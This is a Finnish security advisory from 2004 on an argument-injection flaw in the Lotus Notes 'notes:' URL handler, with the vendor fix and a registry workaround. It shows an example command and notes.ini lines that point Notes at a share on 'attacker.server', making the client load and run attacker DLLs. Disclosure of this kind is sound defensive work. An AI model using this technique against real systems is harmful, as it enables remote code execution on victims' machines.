Pääsivu | Tiedotteet

Lotus Notes'in URL-haavoittuvuus

27.6.2004

Yleistä

Lotus Notes on Lotus Softwaren kehittämä groupware/sähköpostijärjestelmä. Turvallisuus- ja yhteistyöominaisuuksiensa vuoksi sitä käyttävät erityisesti suuret organisaatiot, valtioiden virastot jne. IBM arvioi, että ohjelmalla on 60 miljoonaa käyttäjää.

Clientin Windows-asennuksen yhteydessä "notes:" -URLien käsittelijä lisätään registryyn. Hyökkääjä voi käyttää argument injection -haavoittuvuutta syöttääkseen komentoriviargumentteja notes.exe:lle, joka voi johtaa tämän haluaman koodin suoritukseen kohdejärjestelmässä.

Yksityiskohdat

Registry-asetus aiheuttaa "notes:"-URLien avaamisen notes.exe-ohjelmalla niin, että kyseinen URL annetaan ohjelmalle argumenttina. Jos URLissa on välilyöntejä, notes.exe ottaa sen jälkeiset merkit toisena komentoriviargumenttina. Mikä tahansa www-sivu (ja joissain tapauksissa sähköpostiviesti) voi siis käynnistää kohdekäyttäjän konella notes.exe:n viittaamalla notes:-alkuiseen URLiin.

Lotus Notesin asetustiedoston, notes.ini, sijainti, voidaan määritellä komentorivillä laittamalla sen eteen yhtäsuuruusmerkki (=). Tiedosto voidaan määritellä sijaitsevaksi jaetulla verkkolevyllä. Hyökkääjä voi käyttää sopivaa URLia määritelläkseen haluamansa notes.ini-tiedoston, joka on julkisella jaetulla verkkolevyllä, jolloin järjestelmän ajama käsky olisi esim.

  notes.exe =\\attacker.server\notes\notes.ini

Notes.ini-tiedosto sisältää Notesin datahakemiston sijainnin, jonka hyökkääjä voi nyt myös määritellä jaetulle verkkolevylle. Tiedostossa voi olla esim. rivit

  [Notes]
  Directory=\\attacker.server\\notes

Lotus Notes käyttää kyseistä datahakemistoa mm. ladatakseen sieltä tiettyjä dynaamisia kirjastoja. Hyökkääjä voi luoda nämä kirjastot ja saada näin omaa koodiaan Notesin käyttäjän koneella ajettavaksi. Tällainen skenaario todennettiin tekemällä exploit-ohjelma. Kun kohdekäyttäjä avasi tarkoitusta varten laaditun www-sivun, kohdekäyttäjän kone haki jaetulta verkkolevyltä DLL-tiedoston ja ajoi sen sisältämän koodin.

Kuvatunlainen hyökkäys edellyttää, ettei Lotus Notes ole jo käynnissä kun kohdekäyttäjä avaa hyökkäävän www-sivun tai sähköpostiviestin, koska DLL-tiedostot ladataan vain ohjelman käynnistyksen yhteydessä. Se edellyttää myös, että verkon ulkopuolisten verkkolevyjen käyttöä ei ole estetty palomuureilla tai registry-asetuksilla.

Ratkaisu

IBM:ää tiedotettiin ongelmasta 17.3.2004 ja se on julkaissut siihen korjauksen koodilla SPR# KSPR5X6VEA. Väliaikaisratkaisuna toimii myös registry-asetuksen

   HKEY_CLASSES_ROOT\Notes\Shell\Open\Command
poistaminen.

Tekijä

Ongelman havaitsi, tutki ja tämän tiedotteen laati Jouko Pynnönen.